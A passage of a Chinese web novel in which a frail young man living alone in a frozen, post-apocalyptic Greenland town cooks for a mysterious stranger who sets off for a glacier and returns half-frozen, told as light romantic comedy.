昨晚吃过面了,闵疏便想着做点别的。他从冰窖里拿出了之前包好了冻上的大馄饨。岛上猪肉短缺,闵疏便提前把新鲜猪肉剁了包了一冰箱的饺子馄饨,之前他害怕自己吃不完放坏了,幸好魏长川来了。
馄饨是拿保鲜带分好的。闵疏给自己煮了一袋,给魏长川煮了两袋。等快煮好了,就往碗里放一勺猪油,再放酱油醋等调味料,精华是一勺提鲜的白糖和三勺辣椒油,一碗美味的红油酸辣味馄饨就做好了。
怕魏长川吃不饱,闵疏还拿糯米粉搓了一碗团子,加自家制的醪糟煮成了碗醪糟团子,摊了个鸡蛋饼,加上酸辣可口的泡菜,就是一桌美味的早餐。
等他把饭端上桌,却没看到魏长川。
正想去找人,闵疏就见大门开了,魏长川走进来,手里拿着不知什么时候从地下室拿出来的铁铲。
闵疏微微睁大眼睛,见男人抬起头,看了他一眼,道:“我把雪铲了一下。”
闵疏闻言向门外看去,果然看到门外几尺厚的积雪从门口到院门被清理出了一条道路。
路特别宽,雪都被堆到了两遍,道路露出黑的土壤,比往日闵疏自己铲的要干净多了。
而且他一铲就是一天,男人半个小时就搞完了。
闵疏有些怔愣,忽然觉得自己偶然捡到的这个人还不错?
8. 冰川
这就是眼里有活的男人吗?
闵疏有点感动,又有点不好意思:“哥,谢谢你啊。” 而后又热情地招呼魏长川:“早饭好了,快坐下吃。”
魏长川也没推辞,走近在餐桌旁坐下,眉眼在食物香甜的气味下微微放松。
馄饨酸辣的滋味很好地驱散了寒冷,魏长川一如既往地吃得很香,饱满的大馄饨一口一个,没多久半碗馄饨都下了肚。
闵疏则是吃得慢很多,他早上一般胃口都不太好。馄饨是自家包的,所以馅料很足,个头也很大,闵疏一口只能吃半个。
魏长川吃到一半,动作忽然顿了顿,看着闵疏的碗皱了皱眉:“你的为什么少那么多?”
“啊?” 闵疏一愣,抬起头便见魏长川正皱着眉看着他。他赶忙解释道:”我只吃得下这么多。“
魏长川依旧皱着眉,盯着闵疏看了两秒,才低下头继续吃饭。
闵疏莫名从他的神情中读出一点不满的味道,但又觉得自己是看错了,便也继续吃自己的饭。但很快,他就知道那不是他的错觉。因为魏长川将自己的饭吃完之后,开始执着地要他将那碗醪糟团子和一半蛋饼吃完。
“再吃一点。” 魏长川皱着眉头道:“你吃得太少了。”
闵疏:……
他本来在碗里还剩了几个馄顿,都被魏长川逼着吃完了。现在男人还要他吃完那一碗醪糟团子。
“哥……” 闵疏笑得有点勉强:“我真的吃不下了。”
魏长川皱起眉,面上浮现出不满。闵疏一共只吃了十个馄饨,几口蛋饼,摄入远远低于青年男性的平均值。纵使是在世界供应链和人类生产力受到严重破坏的今天,人类基地也在尽全力供给幸存者丰富的食物,特别是营养丰富的肉蛋奶。因为食物的摄入对人类的整体健康有非常重要的影响,人类的体魄和免疫力几乎是人类如今对抗末世的唯一手段。
闵疏这样食欲不振、严重偏瘦的青年在魏长川眼里是绝对的高危人群。
他抱着手臂,神情有些严厉。单看外表还以为是什么天大的事,不会觉得他是在监视着一个人吃饭。
闵疏被看得缩了缩脖子,莫名有点怕魏长川。于是他低下头,舀出一颗团子,塞进了嘴里。
团子软糯香甜,很美味,但对闵疏满满的胃袋是个极大的负担。
闵疏有些艰难地将团子放下去,接着几乎是立刻就打了个嗝。
“呃!”
闵疏瞪大了眼睛,赶紧捂住了自己的嘴。
魏长川看着他,眉头皱得更紧,闵疏被他看得有些紧张,又忍不住打了个嗝。
接着,他便看着魏长川从桌边站了起来,过了一会儿,他端来一杯温水放在闵疏手边:“别吃了,顺顺气。”
闵疏松了口气,刚准备道谢,却见魏长川坐到了他旁边,伸手将他面前的碗拉了过去,直接吃了起来。
闵疏一愣,魏长川用的是他用过的勺子……
不过魏长川似乎不是很介意,几分钟后,一碗醪糟团子下肚,魏长川将碗盘都收起来洗好。洗完碗后,男人又去把昨天洗好的衣服拿了出来,一一挂在了火炉边的小型晾衣架上。
闵疏挺着鼓鼓的肚子摊在沙发上,看着魏长川晾衣服,恍然发现才不过短短一天,他似乎就习惯了这种生活。
除了做饭什么都不用做,好像家里多了个能干的长工。
闵疏悄咪咪地想,还长得特别帅。
这时,魏长川干完了活,正站在在客厅远离闵疏的一角抽着烟。
他穿着那件白色背心,下身穿着一条黑色长裤,猩红的火光在手指间闪烁,白色的烟雾弥漫在男人英俊的脸庞前。
闵疏缩在单人沙发上,觉得自己正在看画报封面。
魏长川敛着眼,浓密的睫毛落下阴影,遮掩在深邃的眼窝上。就算是什么都不做,都会让旁观者觉得这是个在沉思着什么的忧郁男子。
然而待他抬起眼时,冰冷的眸光自乌黑的眼中射出,会让人瞬间忘却他的外表:
“我在寻找一座冰川。” 他对闵疏道:“应该在岛上的东北部,你听说过吗?”
闵疏一愣,接着道:“你是说阿萨尼特冰川吗?那离这儿不远。“
阿萨尼特,是伊努图克语中’极光’的意思。这座冰川是整座岛上最大的,冰舌一直从雪盆中延伸到海边。这座冰山同时也是当地因纽特人口中的「祖地」,是当地族人心中的朝圣之地。之前,当小镇上的人都还没离开的时候,每年进入极昼的第一天镇长都会组织所有镇民到冰川祭祀,闵疏也会跟着一起去,所以他对冰川一代还挺熟悉的。
闻言,魏长川的眼眸闪了闪:“对。” 他道:“冰川离这儿有多远?”
闵疏想了想,道:“有二十多公里,坐雪橇过去的话,天气好一个小时,天气不好两个多小时。”
格陵兰岛除了首都努克以外的所有城市都没有道路,交通只能靠狗拉雪橇,徒步,或者就是坐船走水路。如果没有镇长留给他的几只狗狗,闵疏在这里基本哪里都去不了。
“要去得话,最好是趁着这几天还没进入极夜就得去了,要不然根本看不清路。” 闵疏道:“哥,你是要去干什么啊?”
魏长川没有回答他的问题,而是点了点头,问:“有地图吗?”
“有。” 闵疏点了点头,接着便从沙发上站起来:“我去给你拿。”
地图在电视柜子里,闵疏要走过去,就不得不靠近魏长川。然而他刚刚走近了几步,就闻到了丝缕烟味,接着猝不及防地呛咳起来:
“唔——咳咳咳”
见状,魏长川动作一滞,接着掐灭了烟。
“咳咳咳——哥、我没事,” 闵疏一边咳一边对走过来的魏长川摆手:“你不用管我——咳咳!我只是嗓子有点痒——咳!”
“别说话了。“ 魏长川走近,手抚在他的背上,似乎从闵疏拉风箱一样的咳嗽声中听出了什么:“你的肺有问题?”
闵疏咳得脸有些涨红,捂着自己嘴道:“咳、唔——出生的时候、有点发育不良……”
他又咳了一会儿,止住了喉间的痒意,然而就在这时,他的呼吸又忽然急促起来。
糟糕,闵疏一边抽气一边心里大叫不好,因为肺上的问题,咳嗽有些时候会打乱他呼吸的节奏,以至于二氧化碳排出过多而导致呼吸碱性中毒——也就人们口中的过度呼吸。
闵疏不禁半蹲在了地上,一只手拽住了领口。
就在这时,一只灼热的手抚住了他的下颌,闵疏被迫抬起了头。
接着,口鼻出便被盖上
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了什么东西。
闵疏不适的眨了眨眼,眼尾流下两滴泪,隔着水光尽量睁开眼往下看,才意识到那是个塑料袋。在他急促的呼吸声之外,魏长川沉稳的声音响起:
“吸气。”
闵疏随着他的话吐息起来,过了一会儿,他的呼吸渐渐平稳。
塑料袋被从他的口鼻上移开,闵疏这时才看见魏长川正半跪在他面前,微微蹙着眉,手依旧捏着他的下颌:
“好点了吗?”
闵疏眨了两下眼睛,又是两滴泪落下来,赶忙点点头:“我好多了。”
魏长川依旧皱着眉凝视着他,顿了片刻,才放开了闵疏的下巴,拇指顺便蹭掉了那尖尖下颌上的泪水:“你经常这样吗?”
闵疏随着他的动作炸了眨眼睛,有点心虚地看了魏长川一眼,小声道:“其实……也不是很经常……”
然而他果然看到魏长川的眉头一抽,垂眼看着他,眼神有些发沉。
闵疏不知道该怎么形容男人的目光,似乎是有些可怜他,又像是人看着细细一条的小猫崽,害怕自己什么时候不留神一脚踩死这只小鼻嘎。
闵疏:“……真的不是特别经常……”
魏长川显然没有相信他,而是扶着闵疏,让他坐回了沙发里。
闵疏觉得自己在男人眼里就是个二级伤残人士。
不过他确实也是个伤残人士,他的残疾人证还在电视柜里放着呢。
闵疏一想,又自己把自己哄好了。
·
两人的对话到这里就结束了,闵疏最后也没问出魏长川要去冰川干什么。
至此,虽然只认识了魏长川一天,闵疏已经感觉到男人似乎在刻意隐瞒着什么。他的身份成迷,身体似乎异于常人地强壮,不知为何独自来到了岛上,似乎还有什么更大的秘密——闵疏实在无法说服自己去相信魏长川是个过于强壮的地理学家。
在一般人来看,这个神秘的陌生男人似乎有些危险,但闵疏却不在意。
一方面是因为闵疏直觉他不是坏人,另一方面也是他已经病得不会在意这些了。
甚至有些脑子发抽的时候暗自想过,比起在极低的永夜中孤独地死去,也许被这样一个神秘的男人杀死也不错。
不知何时就会停止运转的身体像是达克摩斯之剑悬挂在他的脑袋上,随时都有可能落下。闵疏一开始还会恐慌,后来就破罐子破摔了,秉着只要折腾不死就往死里折腾的原则把自己折腾到了这个破岛上。
所以对于魏长川的隐瞒,闵疏并没有太在意。
反正也和他没什么关系,别人的事,还是不要问太多的好。
闵疏这样想道。
这天晚上,魏长川坚持要睡在地上。闵疏拗不过他,便在地上用不穿的衣服和皮毛铺了厚厚的一层,又翻出自己的长款羽绒服给男人当被子,心惊胆战地看着魏长川躺在了冰冷的地上。
然而他没有担忧太久,因为卧室里关灯没多久,魏长川就睡着了。
又过了一会儿,闵疏便听到了窸窸窣窣的声音,接着,身边出现了另外一个人的热度。
他又被魏长川抱进了怀里。
闵疏:……
他看了看死死环在自己腰间的手臂,真的要怀疑魏长川是不是在偷偷暗恋他了。
9. 农仓
第二天,两人面面相觑。
魏长川面容俊美,眼中滑过惊讶,接着有些紧张地,一点一点移开了放在闵疏腰上的手。
他看了眼闵疏,又回头看了眼地上杂乱的衣服:“……我昨天又?”
闵疏已经有点麻木了,主动道:“哥,你别介意。”
魏长川陷入了沉默。他皱着眉,一头短发睡得有些杂乱,表情有些困惑。但不得不说,帅哥就算是刚睡醒脸都没洗也是帅的。现在的魏长川就像只被石头砸晕了脑袋的雄狮,连迷茫的表情都很性感。
闵疏瞪着他,接着,缓慢而绝望地低下了头。
跟这样一个绝世大帅哥同床共枕两个晚上,他竟然一点反应都没有。
闵疏绝望了。
他记得他那两页纸都写不下的先天疾病里面没有阳*痿这一条啊?
闵疏宛若遭晴天霹雳,他还是嘴都没亲过的小雏鸡啊!怎么、怎么就不行了呢??
闵疏大受打击,一早上都神情暗淡,意志昏沉。
早饭煮的是菜肉粥加他之前包好冻起来的羊肉包子,还有几个昨天卤好放了一夜入味的茶叶蛋。然而闵疏却兴致缺缺,吃了一个茶叶蛋和半个羊肉包子就放下了手。
他神情忧郁,低着头盯着自己看,难不成——是他不喜欢魏长川这个类型的?
闵疏想着,悄悄抬起头,刚好看见魏长川一口咬掉了一大半包子,脸颊些许鼓起。他还没梳头,一头乌黑而粗硬的头发杂乱地支棱者,吃饭的时候眉眼也略微压着,随着咀嚼的动作,下颌连带着脖颈上的线条一起动,看得人食指大动。
并不是对包子。
闵疏:……啊啊啊啊啊!!
对这么个充满性张力的大帅哥都没反应,他大概真的是不行了!!
闵疏抬手’啪’地一下打在自己额头上,不愿面对现实,非常绝望,有点想死。
一个男人没有了XX,跟咸鱼有什么区别!!
就在这时,男人低沉的声音响起:“怎么了?”
闵疏一个机灵抬起头,欲盖弥彰道:“没、没事,哈哈、“
魏长川看着他,又看了看青年面前基本没怎么动的盘子,皱了皱眉。
在闵疏观察他的时候,他也在观察闵疏。
这个青年看似普通,却又处处透着奇异。
独自生活在极地小镇的华国人。
体质非常虚弱,有不止一项先天疾病,却能在世界上自然条件最恶劣的地区之一存活到现在。
最奇怪的是,他不知为何对这个青年天然有种亲近之意。白天清醒的时候还能勉强克制,然而晚上睡着了以后他就像是完全被本能驱使,一而再、再而三地在无意识中靠近青年。
魏长川从来没有遇见过这种事。他神经紧绷,睡眠很浅,往日里一有什么风吹草动就会醒来。然而在青年这里,他却很快就会坠入深眠。
魏长川并不喜欢这种对自己的身体失去控制的感觉。
然而闵疏看起来实在是太无害了。
他面前,青年穿着一件厚实的毛衣,身板却还是显得单薄。闵疏只有脸颊上还有点肉,笑的时候还算阳光。
现在他脸上没了笑意,尖尖的下巴就更显出伶仃,皮肤白得近乎透明,像打了霜的小白菜。脸上唯一有点精神的就是那双带着浅浅双眼皮的丹凤眼,眸色清透,笑起来的时候眼尾翘起,还有点机灵样儿。
现在耷拉着眉眼,就只剩可怜了。
不夸张地说,若是末世前将闵疏随便丢到一个老小区,大姨们非得一人给他炖一锅大肉不可。
而或许是英雄情节作祟,魏长川看他这个可怜兮兮的样子,心中的质疑逐渐淡了,眉头却是越皱越紧。
他垂下眼,看了闵疏的餐盘一眼,忽然伸出手将盘子推了推:“再吃点。”
闵疏低着头,兴致缺缺地看了盘子一眼:“吃不下了。”
魏长川听了,没说什么,只是将剩下的食物收了起来,却偏没有收闵疏面前的餐盘。
他拿着东西站起来,在经过闵疏时停了停:“我洗完碗之前,吃完。” 随后就走进了后厨。
闵疏本来还在打击下恍恍惚惚,这一下给他直接干精神了。男人低沉的声音爬上他的脊背,让闵疏登时有种高中晚自习摸鱼时教导主任的脸出现在后门小窗口的感觉。
闵疏一下子坐直了,三下五除二就将剩下的半个包子吃下了肚。
后厨响起哗啦哗啦的水声,几分钟后,魏长川走回来,收走了他面前空掉的餐盘。
闵疏看着男人肩宽腿长的背影,忽然知道自己为什么没感觉了。
魏长川这么凶,不像男朋友,像他爹。
怪不得他没反应。
闵疏直接把自己哄好了,等魏长川从厨房里出来,便见青年忽然变成了一幅阳光灿烂的样子。
“哥,我要去镇上看看鸡窝。” 闵疏一边说一边挣扎着往腿上套毛皮裤子:“你跟我去吗?”
魏长川看了看他,又看了看外面呼啸的风雪,点了点头。
因为终年冰雪,格陵兰岛在历史上是没有畜牧业和种植业的。近代来有了温室、大棚等农业手段,岛上才开始畜养一些动物以及种植蔬菜。
“之前不是全球变暖很严重吗?” 闵疏一边在雪地里深一脚浅一脚地走,一边道:“那时候夏天有很多地方都能长出草皮,所以有人养些猪牛羊什么的,但是后来天太冷了,就养不了了。”
闵疏说着,抬手拉开了农仓的大门,一股暖风扑面而来。
格陵兰岛上的农仓都通了暖气,因此才能让家畜熬过寒冷的冬日。
闵疏能力有限,只租了两个农栏,左边养鸡,右边养了几头进口小香猪。为什么不养大猪呢?因为闵疏自知杀猪的时候他按不住,再说了,他也吃不了那么多猪肉。
然而闵疏走到自己的农栏前,便见几只母鸡挤在角落里抱窝,一只雄鸡倒在地上,已经硬了。
闵疏微怔:“又冻死了一只。”
魏长川走过来,站在他身后。
闵疏在原地站了片刻,才缓缓叹了口气,走进栏去,自母鸡身下掏出几个新鲜鸡蛋:
“幸好冻死的不是母鸡。” 闵疏将鸡蛋放进随身携带的布袋里,嘟囔道:“要不然鸡蛋都没得吃。”
他走出来,魏长川接过了袋子,朝旁边的栏内看了一眼:“把猪杀了吧。”
闵疏顺着他的目光看去,便见仅剩的一头小香猪蜷缩在墙角,许久都没有动静。只能从时不时颤抖的肚腩上看出它还活着。
闵疏又叹了口气,点了点头:“杀了吧。”
现在杀还能吃肉,再隔一天就只能吃冷冻臭猪肉了。
于是闵疏坐到了一边,揣着袖子,看着魏长川手起刀落,干脆地解决了小香猪。猪猪只来得及发出半声尖利的嚎叫,就没了生息。魏长川动作利落地按着猪放了血,按照部位分解成小块,整个过程用时不到半小时。
为免衣服被弄脏,魏长川只穿了一件背心。闵疏看着他一手拎着屠刀,另一只手拎着装猪肉的袋子走来,不禁坐直了身。
“哥——” 待他走近,闵疏露出讨好的笑容,嘿嘿笑了两声:“您到底是做什么工作的?”
魏长川看了他一眼,没回答,低头
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去洗刀。
闵疏见状,沉默了一会儿,还是忍不住悄默默地靠近了些,压低了声音道:
“合法吗?”
魏长川洗刀的动作一顿,抬起眼,刀锋的光芒在他深黑的瞳孔中一闪。
闵疏立即怂了,滑跪道歉:“哥,我错了。”
他缩起脖子,眼睛眨巴眨巴看着魏长川:“哥你仪表堂堂,一身正气,肯定是正经职业,一看就是守法公民。哥、我百分之百相信你!”
魏长川这才收回目光,将刀洗好,一手拎着鸡蛋和猪肉,另一只手拎着闵疏,走出了农仓。
岛上的风雪呼啸而过,自农仓到中餐厅是逆风,寒风像刀子一样割着人的脸。闵疏躲在魏长川身后瑟瑟发抖,右手牵着男人飞舞的大衣下摆,探头看了看前方一片灰白的世界。
“这么冷,还让不让人活了?”
闵疏发着抖道。
气候变暖最严重的时候,全世界都很关心海平面上升对世界带来的影响,然而一些格陵兰岛上的居民却很欢迎这种改变。因为温暖的夏天和更多的草地能让他们养更多的动物,种更多蔬菜,让这个极地小岛变得更宜居。
然而这几年岛上的天气越来越冷,冰盖的覆盖面积越来越大,到了今年夏天,只有海边不到十英尺的土地上的积雪融化。冻土层的扩大让蔬菜种植变为了不可能,家畜也失去了粮草,居民纷纷南迁,小镇成了一座鬼城。
这座小岛似乎回归了原本的模样,冰冷,孤独,寸草不生。
闵疏将脸往毛领里埋了埋,小声道:“等这只吃完了,连猪肉都没得吃了。”
等鸡都死了,他就只能去捕猎了。闵疏的捕鱼技巧只能说一般般,感觉到时候他离饿死也不远了。
他在呼啸的寒风中抓紧了魏长川的衣摆,轻轻扯了扯,忍不住道:
“哥,你走的时候真的不能带上我吗?”
魏长川脚步一滞,还是没有回答他,忽然回身抓住了他的手臂,将闵疏搂到身边整个罩住。
男人的体温灼热,手臂有力地箍住他,几乎是挟着闵疏走回了中餐厅。
闵疏又被拒绝了一次,本来是有些失落的。但是一回家,扑面而来的暖气登时让他全身都暖了起来。闵疏’啊’了一声,抖了抖身上的积雪,跑过去窝在壁炉边的单人沙发里,又想到晚上有新鲜猪肉吃,一下子感到了一阵甜蜜的幸福。
管他以后会怎么样,还是过好当下最重要!说不定他明天就嘎了呢?
闵疏很快把那点儿失落忘在了脑后,晚上兴致勃勃地做了一大桌子菜。排骨被魏长川砍成肥瘦均匀的小段,一半用来烧土豆,一半做成了糖醋味。猪腹部的五花肉煮好后切成薄片,被闵疏用家乡味道的豆瓣酱炒成了回锅肉,就连猪下水都被他洗干净拿来烤了,放在加热后的石板上做成了铁板肥肠,滋滋冒油,飘香百里。
魏长川显然对今天的全肉宴很满意,先是盯着闵疏吃到实在吃不下了,再将剩下的一扫而空。
饭后,碗按照惯例是魏长川洗,闵疏则是直挺挺地坐在沙发上,掀起衣服揉着自己的鼓鼓囊囊的肚子,忍不住打了个饱嗝。
他现在感觉自己就是被魏长川喂养的猪,男人盯着的眼神让闵疏觉得这人随时会将他拎起来上称称重。
闵疏吃多了,血液全集中在胃部,窝在沙发里很暖和,整个人都有点晕晕乎乎的。
当魏长川走过来时,他都快要睡着了。
然而就在这时,男人的声音传来:
“我明天出发去冰川。”
闵疏逐渐滑向梦乡的的意识一下子就被拉了回来,猛地睁开了眼睛。
10. 第一次探险
“什么?”
闵疏惊地从椅子上直接弹了起来:“你明天要去哪?”
魏长川没看他,低头拿出烟盒,忽然像是想起什么时动作一顿,又将烟揣了回去,靠在窗边淡淡道:“冰川。”
闵疏瞪大了眼睛,觉得血液一下子回到了脑部。他看了看窗外依旧在呼啸的风雪,又回过头看向男人:
“哥,你开玩笑的吧?” 闵疏道:“这外头雪还没停呢,怎么去?”
小镇上风雪肆虐,白天的能见度都不到一米,晚上更是什么都看不见。灰白的风雪和广大的雪原几乎融为一体,地平线消失,天地混为一体。
就算是最有经验的纽因特族猎人,在这样恶劣的天气里都会迷失方向。
更不用说零下几十度的狂风会迅速夺去人的体表温度,就算是穿着最保暖的衣物,在外面呆久了也很容易失温。如果在雪地冻僵,又不能及时找到遮蔽物,那就很危险了。
然而魏长川神情平静,似乎全未将外头狂暴的天气放在眼里:“没事。”
这怎么可能没事?闵疏还想接着说什么,魏长川却转头走出了客厅,不知道鼓捣什么去了。闵疏有点半信半疑,觉得魏长川应该不是认真的吧?然而他想到几天前魏长川忽然自风雪中出现的场景,又有点不确定了。
但冰川可不是开玩笑的。
闵疏想道,小镇附近的那座冰川周围的气候尤其多变,就连当地人也只敢在天气晴朗的时候去,不管魏长川是做什么的,现在去未免也太危险了。
闵疏心里有事,晚上在床上躺了很久都没睡着。
魏长川倒是一贯的睡得很香,长手长脚缠在他身上,胸膛热热的,活像个大型暖宝宝。闵疏待在他怀里,听着男人微沉的呼吸声,到了后半夜才渐渐有了睡意。
等明天,再好好跟魏长川说一说吧。
在堕入睡梦前,闵疏这样想。
然而等到清晨,闵疏醒来的时候,却发现往日里紧紧箍着他的手臂不见了。
他一愣,侧过头,发觉身边空无一人。
被窝冰凉,已经失去了另一个人的温度,魏长川竟然趁着清晨天还没亮时就离开了。
闵疏足足愣了半分钟,才一个激灵从床上跳了起来,环顾四周——发现魏长川的制服和随身携带的东西全都不见了。他穿过的睡衣被整齐叠放好,放在床头,拖鞋也被整齐地放在了一边。
闵疏里里外外四处搜查了一番,确认男人什么都没留下,又匆匆走到门口去。
一开门,风雪的呼啸声骤然灌入,闵疏在狂风中眯起眼睛,除了一片灰白什么看不见。
五只皮毛丰厚的雪橇犬躺在后院的窝里,见闵疏出来,纷纷跑出来将他围住。
看见它们,闵疏的心猛地下沉。
魏长川竟然连雪橇犬都没带。
他难道打算徒步走到冰川去吗?
闵疏抬起头,尽量远地看进灰白的风雪中,然而目光却无法穿透风暴,只能看到一片黑暗。旷远的风声在他的耳边回响,足以遮掩一切人声,漫天的风雪仿若一张幕布,将闵疏和他的小屋严密得包围了起来。雪原似乎变成了大海,而这座中餐厅是唯一的孤舟。
·
魏长川的离去和他的出现一样突然。
闵疏又变回了一个人。
不过这也没什么,魏长川本来就是意料之外的存在。只不过是这种略显突然的不告而别让他有些意外罢了。
闵疏照样起床,喂狗,给自己做丰盛的早饭,跟狗玩一会儿,吃晚饭,看看电视,睡觉。就是晚上睡觉的时候没人暖被窝,稍微有点冷罢了,闵疏没有被难倒——他往床上加了床北极熊皮毛毯子,照样睡得很暖和。
没了人帮忙铲雪,闵疏也懒得弄了,所幸连门都不出,就窝在家里做做饭饭看看春晚,也很悠闲。
不过有几次,闵疏还会下意识地在被窝里寻找热源,手都伸出去了才意识到魏长川已经走了。
说不会感到寂寞那是骗人的,不过闵疏向来是个自我调节能力很强的人,到了第三天,他已经完全重新适应了一个人的生活。
晚上,闵疏抱着零食篮,嘴里嚼着用小香猪做的炸酥肉。
又香又嫩的猪肉挂上炸粉,下锅高温炸至金黄,出锅的时候香气扑鼻。因为火候刚好,外壳不会太硬,而是非常酥脆,一咬里头浓郁的肉汁就流了出来。
闵疏一口一个小酥肉,电视里没放春晚,而是换了盘磁带,正在放港城著名影星周鑫驰的电影。
这位影星以搞笑著称,闵疏看着看着,就咧开了嘴:
“哈哈哈哈哈哈——”
屋里传来的笑声穿透力极墙,院子里的狗狗抬起头,观察了窗口一下,又趴回了墙根底下,用爪子把头顶竖起的耳朵扒拉了下来。
闵疏在屋子里笑得前仰后合,完全不知道自己的笑声正折磨着院子里的狗狗们。魏长川走了,他也不用凹形象了,现在正蹲在沙发上咯咯咯笑得像个傻子。
然而就在他完全沉浸于电影中时,闵疏笑岔了气,腰有点痛,笑声随之一停。
就在这时,闵疏在电影背景音乐之外听到了一点声音。
那声音很轻微,像是一个小石子被扔到了他的门板上,发出了’磕哒’一声。
闵疏还以为是他听错了,并没在意,接着看他的小品。
然而就在他拿起零食篮准备再吃一个酥肉时,门口又响了一声。
“磕哒!”
这次的声音比上次还要响。
闵疏动作一停,接着将电视按停,敲门的声音立刻变得清晰了起来。
外面真的有人在敲门!
闵疏诧异地回过头,心想他这是撞见鬼了?怎么最近老是有人上门。他看了眼窗外,风雪依旧呼啸着,这种天气,到底是谁会在外面?
闵疏不禁放轻了脚步走到门边,谨慎地将门打开了一条小缝。
一张布满霜雪的脸出现在他眼前。
闵疏被吓得差点摔倒在地上,诧异地长大了嘴,叫出的来人的名字:“魏、魏长川!”
只见魏长川正单腿跪在他门前,微抬着右手,整个人都被白雪覆盖,如果不是右手还有敲门的动作,看起来就像是座雕塑——刚才他就是用这只手在不断敲着中餐厅的门。
“哥!” 闵疏被吓得声音都差点撇叉。他俯身去搀扶魏长川,然而这个人似乎已经完全僵住了,闵疏搀着他,还以为自己是摸到了一块冻肉。
还是一米八接近一米九的一块冻肉,重得要死!!
闵疏吭哧吭哧地拖了半天,好不容易将魏长川弄进了门里,实在拖不动了,只能叫了只阿拉斯加犬进来咬着魏长川的后衣领将他拖到了壁炉旁。
“哥!你醒醒啊!” 闵疏被吓了个半死,伸手想拍魏长川的脸。然而手刚覆上去,闵疏就被冰得收回了手:“好冰!”
魏长川的脸色青白,连眼睫上都沾着霜雪,看起来了无生息。完全被冻成了冰块,闵疏用手贴上去感觉自己的皮肤都要被粘住了。
闵疏甚至觉得他已经死了,可试探他的鼻息,却发现魏长川还有气。
闵疏瞪着硬邦邦的男人看了半秒,忽然福至心灵,明白了什么——得先解冻!
于是他赶快跑到了卧
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室里,将自己最厚实的皮毛衣服都拿了出来,一口气堆在了魏长川身上。又去浴室里拿了毛巾浸满热水,一点点将男人脸上的冰霜擦干净。
就这样过了半个小时,魏长川身上的雪缓缓化开,青白的皮肤渐渐有了血色,脸颊微微发红。闵疏见他似是缓过来了,便将男人身上湿淋淋的衣服扒了,用毛巾将雪水擦干,再用外层干燥的皮草包裹住男人。
这么反复弄了半个多小时,闵疏累的够呛,气喘吁吁地倒在一边。
过了一会儿,魏长川浓密的睫毛微微颤抖,接着缓缓睁开了眼睛。像是刚从冬眠中苏醒的动物一样,他的目光有些迷茫,好一会儿才有了焦距,转头看向闵疏。
闵疏:“哥、你醒了?“
魏长川眨了眨眼睛,接着低下头,看到身上堆着的皮草,似乎很快就理解发生了什么,对闵疏道:“谢谢。”
闵疏瞪着他,喘着气道:“你、你没事了?”
魏长川点了点头,拨开皮草站起来,扭了扭脖子:“没事了。”
闵疏这才松了口气,瞪着他,胸膛不断上下起伏,发现方才还冻得跟支冰棍一样的人仿佛瞬间恢复了活力,他看着魏长川随意活动了几下,将被冰雪打湿的头发向后捋去,又是一条靓仔。
闵疏冷漠脸:“哦。”
他喘匀了气,从地上站起来,将地上的皮草收起来:“那这些我就拿走了。”
魏长川一顿,敏锐地感觉到闵疏的态度有些不对,但又说不出来有什么不对。他见闵疏有些费劲地去抱地上的皮草,便道:“我来吧。”
闻言,闵疏看了他一眼:“哦,好吧。”
接着青年就松了手,因为沾水而变得格外沉重的皮草’啪’地一下摔在了地上,转身就走。
魏长川:……
他看着青年果断的背影,这下很确定闵疏的态度却是不对。
青年以往是很热情的,围着他一口一个’哥’,翘起的嘴角边挂着两个小梨涡。现在小梨涡没了,敬称也没了。他看着闵疏啪嗒啪嗒地走进屋内,不一会儿,房子里响起电影略显嘈杂的声音。
魏长川在原地站了一会儿,默默捡起了地上的衣服。
闵疏坐回了自己的小沙发上,打开电视,继续看他的电影。
背景里,他能听到地下室被打开了声音,楼下的老洗衣机开始咯吱咯吱地运转,过了一会儿,有人从地下室走了上来,出现在了客厅门口。
魏长川站在门口。闵疏装作没看见他,眼神都没骗过去半点儿,自顾自看着电影。
魏长川似乎是有些不安,在门口换了好几个姿势,最后靠在了门框上,轻咳了一声:
“风暴太大,我迷失了方向。”
闵疏盯着电视屏幕:“哦。”
魏长川顿了顿,又接着说:
“不过后来靠着你的地图,我找到了冰川。但是风突然变得很大,我只能在山洞里过了一夜。”
闵疏丝毫不为所动:“是吗?”
魏长川这次停顿的时间更久,接着忍不住向青年靠近了一步,声音低了些:
“第三天,我从冰川上摔了下来。”
这次,闵疏放在膝头的手微微一动,终于转过了头来。然而,就在魏长川以为青年会关心自己两句的时候,他却听见青年道:
“你能让开点儿吗?” 闵疏神情平淡:“你挡着我看电视了。”
魏长川:……
他看了看离自己还有半米远的电视,又看向闵疏:“……我没有挡着你。”
闵疏冷笑道:“我视野开阔不行吗?”
魏长川沉默。
11. 询问
说完这句话,闵疏回过了头,不再理会男人。
看着青年略微有些紧绷的侧脸,魏长川罕见地感觉到了些许无措。
末世之后,他已经很久没有见过正常的活人了,更别提这种会跟他闹脾气的活人。
电视变幻的光线打在闵疏脸上,魏长川能很清楚地看见他尖尖的下颌,和略微绷紧的嘴角。不知是不是因为怕冷,青年生气的时候都是缩成一团的,两条手臂环住自己,瘦削的肩膀耸起,是个防御性的姿势。
魏长川不知道该做什么,同时又隐隐地有点怜惜青年。发脾气都这么细声细气的,要不然就是不说话,像只小猫崽,很可怜。
两个人都不说话,客厅里顿时只剩下电视里略有些模糊的嘈杂声响。
半晌后,魏长川叹了口气,走到单人沙发旁,接着直接单膝跪了下来。
他的忽然靠近让装作看电视其实一秒钟都没看进去的闵疏吓了一跳,他没想到男人会这么靠过来,一扭头,便见魏长川仰着头看着他。
“这样好点了吗?” 男人的一张帅脸上神情略带无奈:“我只是想跟你说句话。”
魏长川将姿态放得很低,几乎是跪在闵疏脚边跟他说话。而他身上现在只穿了一件白色背心,从自上而下的角度看过去,从颈侧的线条到隆起的胸肌一览无余。
闵疏:!!!
竟、竟然用美色勾引他?!
闵疏在内心发出无声的尖叫,立马乱了阵脚,但还是努力绷住了神色,紧张地抓住了沙发扶手上的布料:
“说、说什么?”
魏长川笑了笑,刚想开口说话,却忽然一阵,目光不受控制地向闵疏身后飘去。
闵疏跟着他的目光转过脸,接着便看到了沙发旁边小桌上放的小酥肉。
他先是一愣,接着见魏长川真的在盯着他的酥肉不妨,神情骤然冷了下来。
好哇!这个人不告而别竟然还想吃他的肉?!
闵疏登时怒上心头,脸上刚升起的那点热度瞬间没了。
魏长川走神了一秒,刚回过神,便见闵疏正冷冷瞪着他:
“这个不能吃。” 青年一把将小桌子推远,冷然道:“肉是臭的。”
魏长川:…………
好,这下是真生气了。
魏长川掐了掐眉心,稳住心神,强迫自己忽略那股香味,刚想开口说话,闵疏便劈头盖脸地道:
